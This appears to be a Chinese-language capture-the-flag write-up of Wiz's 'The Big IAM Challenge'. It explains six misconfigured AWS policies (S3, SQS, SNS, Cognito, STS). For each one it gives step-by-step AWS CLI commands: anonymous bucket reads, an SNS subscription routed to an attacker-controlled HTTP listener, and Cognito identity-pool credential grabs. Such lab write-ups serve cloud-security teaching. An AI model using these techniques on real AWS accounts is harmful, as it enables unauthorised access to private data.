云安全 - The Big IAM Challenge
一、Buckets of Fun We all know that public buckets are risky. But can you find the flag?
The Big IAM Challenge
策略如下
使用cli调用查看
aws s3 ls s3://bucketname
aws s3 cp s3://thebigiamchallenge-storage-9979f4b/files/flag1.txt - | cat
或者直接访问,策略存在listobject
二、Google Analytics We created our own analytics system specifically for this challenge. We think it’s so good that we even used it on this page. What could go wrong?
SQS策略如下
SQS 队列访问策略
允许所有向wiz-tbic-analytics-sqs-queue-ca7a1b2发送消息
仅允许发送和接收消息,禁止其他操作(如删除消息、修改队列属性)
##### 1. `Effect`(策略效果)- **值**:`Allow`(允许)
- **作用**:声明对指定资源的操作是允许还是拒绝(本策略为允许)。##### 2. `Principal`(适用主体)- **值**:`*`(通配符)
- **含义**:策略适用于**所有 AWS 实体**(包括:- 任意 AWS 账户的用户/角色- 跨账户的外部用户- AWS 服务(如 EC2、Lambda 等)
- **注意**:`Principal: "*"`是高风险配置,会允许**任何主体**访问该 SQS 队列(发送/接收消息),需谨慎使用(除非明确需要公开队列)。##### 3. `Action`(允许的操作)- **值**:`["sqs:SendMessage", "sqs:ReceiveMessage"]`
- **含义**:允许对目标队列执行以下操作:- `sqs:SendMessage`:向队列发送消息(支持批量发送)。- `sqs:ReceiveMessage`:从队列接收消息(支持长轮询或短轮询)。
- **扩展**:SQS 支持的其他操作(如 `sqs:DeleteMessage`、`sqs:GetQueueAttributes`等)未在此策略中允许,因此被默认拒绝。##### 4. `Resource`(目标资源)- **值**:`arn:aws:sqs:us-east-1:092297851374:wiz-tbic-analytics-sqs-queue-ca7a1b2`
- **结构解析**:- `arn:aws:sqs`:SQS 资源类型前缀。- `us-east-1`:队列所在 AWS 区域(美国东部(弗吉尼亚北部))。- `092297851374`:AWS 账户 ID(队列所属账户)。- `wiz-tbic-analytics-sqs-queue-ca7a1b2`:队列名称(自定义标识)。
send-message发送消息,使用任意 AWS 账户或未认证用户(如匿名)尝试发送消息
# 使用 AWS CLI 发送消息(需替换为你的队列 URL)
aws sqs send-message \--queue-url https://sqs.us-east-1.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2 \--message-body "Test message from external user"
发送成功返回messageid
receive-message接收消息
aws sqs receive-message \--queue-url https://sqs.us-east-1.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2 \
三、Enable Push Notifications We got a message for you. Can you get it?
SNS策略如下
SNS 主题订阅策略
允许所有sns订阅操作,但限制@tbic.wiz.io结尾
1. Effect(策略效果)
值:Allow(允许)
作用:声明对指定资源的操作是允许的(本策略允许订阅指定 SNS 主题)。
2. Principal(适用主体)
值:{"AWS": "*"}(通配符)
含义:策略适用于所有 AWS 实体(包括:
任意 AWS 账户的用户/角色
跨账户的外部用户
AWS 服务(如 Lambda、EC2 等)
注意:AWS: "*"表示无差别允许所有主体,但结合 Condition可限制实际生效范围。
3. Action(允许的操作)
值:SNS:Subscribe
含义:允许对目标 SNS 主题执行订阅操作(即通过 sns:SubscribeAPI 或控制台订阅主题,接收消息推送)。
4. Resource(目标资源)
值:arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications
结构解析:
arn:aws:sns:SNS 资源类型前缀。
us-east-1:主题所在 AWS 区域(美国东部(弗吉尼亚北部))。
092297851374:AWS 账户 ID(主题所属账户)。
TBICWizPushNotifications:SNS 主题名称(自定义标识)。
5. Condition(条件限制)
值:{"StringLike": {"sns:Endpoint": "*@tbic.wiz.io"}}
含义:仅当订阅请求的端点(Endpoint) 符合 *@tbic.wiz.io模式时,才允许订阅。
sns:Endpoint:SNS 订阅时指定的接收消息的端点(如邮箱、HTTP 地址等)。
StringLike:通配符匹配规则,*@tbic.wiz.io表示任意以 @tbic.wiz.io结尾的字符串(如 user@tbic.wiz.io)。
subscribe测试符合条件的订阅请求
SNS支持协议http、https、email
# 使用 AWS CLI 订阅(需替换为你的主题 ARN 和端点)
aws sns subscribe \--topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications \--protocol email \--notification-endpoint user@tbic.wiz.io
提示需要确认,需绕过
测试http订阅请求
# AWS CLI 订阅命令(需指定 Protocol=http)
aws sns subscribe \--topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications \--protocol http \--notification-endpoint http://ip:8084/@tbic.wiz.io
访问url确认订阅,再次订阅监听端口即可获取订阅后内容
四、Admin only? We learned from our mistakes from the past. Now our bucket only allows access to one specific admin user. Or does it?
策略如下
上述策略中仅对133713371337:user/admin赋予了listbucket权限
单值和多值上下文键 - AWS Identity and Access Management
"ForAllValues:StringLike"
是 多值上下文键(Multi-Valued Context Key) 的条件操作符
•问题 1:操作符误用
ForAllValues:StringLike
通常用于验证请求中所有指定键的值是否符合模式(如标签键值对),而非直接匹配主体 ARN。
正确场景:限制请求中所有标签键的值必须匹配特定模式(如 Department
标签值只能是 Marketing
、Development
等)
•问题 2:主体 ARN 匹配逻辑错误
若需限制主体 ARN,应使用 aws:PrincipalArn
结合 ArnLike
或 ArnEquals
,而非 ForAllValues
。
匿名访问--no-sign-request
aws s3 ls s3://thebigiamchallenge-admin-storage-abf1321/files/ --no-sign-request
aws s3api list-objects --bucket thebigiamchallenge-admin-storage-abf1321 --prefix 'files/' --no-sign-request
列出 S3 存储桶 thebigiamchallenge-admin-storage-abf1321
中,所有以 files/
为前缀的对象
URL访问
http://thebigiamchallenge-admin-storage-abf1321.s3.amazonaws.com/?prefix=files/
存在Allow getobject直接访问即可
或cp到其他目录下的文件后访问
aws s3 cp \
s3://thebigiamchallenge-admin-storage-abf1321/files/flag-as-admin.txt \
s3://thebigiamchallenge-admin-storage-abf1321/backup/2025/flag.txt
五、Do I know you? We configured AWS Cognito as our main identity provider. Let's hope we didn't make any mistakes.
IAM策略如下
允许对 wiz-privatefiles
存储桶及其所有对象执行以下操作:
下载文件(s3:GetObject
)。
查看存储桶中的文件列表(s3:ListBucket
)
第一字段
| 陈述的唯一标识符(可选,用于区分多个陈述)。 |
| 策略效果: |
| 允许执行的 AWS 服务操作列表。此处包含两个操作: |
| 操作适用的资源范围。此处为 |
第二字段
| 陈述的唯一标识符(与第一个陈述区分)。 |
| 策略效果: |
| 允许执行的 S3 操作列表: |
| 操作适用的资源范围(两个 S3 存储桶): |
什么是 Amazon Cognito? - Amazon Cognito
该策略整体允许以下操作:
- Amazon Mobile Analytics:向任意 Mobile Analytics 资源上传事件(mobileanalytics:PutEvents)。
- Amazon Cognito Sync:对任意 Cognito Sync 资源执行所有操作(如用户数据同步、设备管理)。
- Amazon S3:对 wiz-privatefiles存储桶及其所有对象执行下载(GetObject)和列出文件(ListBucket)操作。
https://www.wangan.com/p/7fy7f8abba5c0234
常见获取identity_pool_id(身份池 ID)方式
1、通过应用程序代码查找使用Cognito的部分,并寻找可能存在identity_pool_id的位置,通常在一些JS文件或者接口中可能存在。
2、通过监控分析网络流量分析捕获应用程序与Cognito之间的通信。在捕获的网络流量中,搜索包含 identity_pool_id的请求或响应。
3、通过搜寻查找一些配置文件或环境变量及启动脚本等获取Cognito相关的配置信息。
4、通过分析应用程序日志,查找 identity_pool_id的信息。有时日志文件会记录与身份池相关的操作或配置。
5、通过aws控制台或CLI命令行获取identity_pool_id,前提是需要有一定权限。
获取身份池ID:us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b
通过身份池ID获取Amazon Cognito 身份 ID
aws cognito-identity get-id --identity-pool-id us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b
获取 Amazon Cognito 身份 ID 的凭证
aws cognito-identity get-credentials-for-identity --identity-id us-east-1:157d6171-ee14-ce04-8ed4-66b24a01749f
通过配置临时凭证访问
aws configure set aws_access_key_id xxx
aws configure set aws_secret_access_key xxx
aws configure set aws_session_token xxx
aws sts get-caller-identity
下载或查看flag即可
aws s3 ls s3://wiz-privatefiles/
aws s3 cp s3://wiz-privatefiles/flag1.txt -
如果为linux环境aws可以使用第一关所用cat
六、One final push
Anonymous access no more. Let's see what can you do now. Now try it with the authenticated role: arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role
策略如下
cognito-identity认证用户时可以通过临时密钥验证
1. Effect
(策略效果)
•值:"Allow"
•作用:声明策略的最终效果是“允许”执行后续定义的操作(若条件满足)。
•对比:若值为 "Deny"
,则表示拒绝执行操作(优先级高于 Allow
)。
2. Principal
(目标主体)
•结构:{ "Federated": "cognito-identity.amazonaws.com" }
•说明:
•Principal
定义“谁”可以执行策略中的操作。
•Federated
表示主体是“联合身份用户”(通过外部身份提供商认证的用户)。
•"cognito-identity.amazonaws.com"
是 AWS Cognito Identity 服务的官方标识符,明确主体是通过 Cognito Identity Pool(身份池) 认证的用户。
3. Action
(允许的操作)
•值:"sts:AssumeRoleWithWebIdentity"
•作用:允许执行 STS(安全令牌服务)的 AssumeRoleWithWebIdentity
接口。
•接口功能:该接口用于通过 Web 身份验证(如用户登录)获取临时安全凭证(AccessKeyId
、SecretKey
、SessionToken
),从而“假设”一个 IAM 角色(临时获得该角色的权限)。
"Condition": {"StringEquals": {"cognito-identity.amazonaws.com:aud": "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"}
}
•Condition
定义“仅当条件满足时,策略才生效”。
•StringEquals
表示“字符串相等”的条件类型。
•cognito-identity.amazonaws.com:aud
是条件键,代表 Cognito Identity 的“受众”(Audience),即身份池(Identity Pool)的 ID。
•"us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"
是条件值,即目标身份池的全局唯一标识符(格式:区域:身份池ID
)。
关键意义:
此条件确保只有来自指定身份池(us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b
)的用户,才能通过此策略获取临时凭证并假设 IAM 角色。
流程:根据身份池ID获取identity_id,用户完成身份验证后,Cognito 生成一个临时会话令牌(IdToken
),使用令牌获取STS
aws cognito-identity get-id --identity-pool-id us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b
aws cognito-identity get-open-id-token --identity-id us-east-1:157d6171-ee2f-cf35-23bd-94f8695c2b1c
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role --role-session-name 自定义session名称 --web-identity-token 获取的token令牌
配置STS
路径C:\Users\用户\.aws
aws configure set aws_access_key_id xxx
aws configure set aws_secret_access_key xxx
aws configure set aws_session_token xxx
获取flag
aws s3 ls
aws s3 ls s3://wiz-privatefiles-x1000
aws s3 cp s3://wiz-privatefiles-x1000/flag2.txt -
可能遇到的问题:
这种是因为config中配置了地区region删掉即可
路径C:\Users\用户\.aws
参考:
aws — AWS CLI 2.28.11 Command Reference
The Big IAM 挑战赛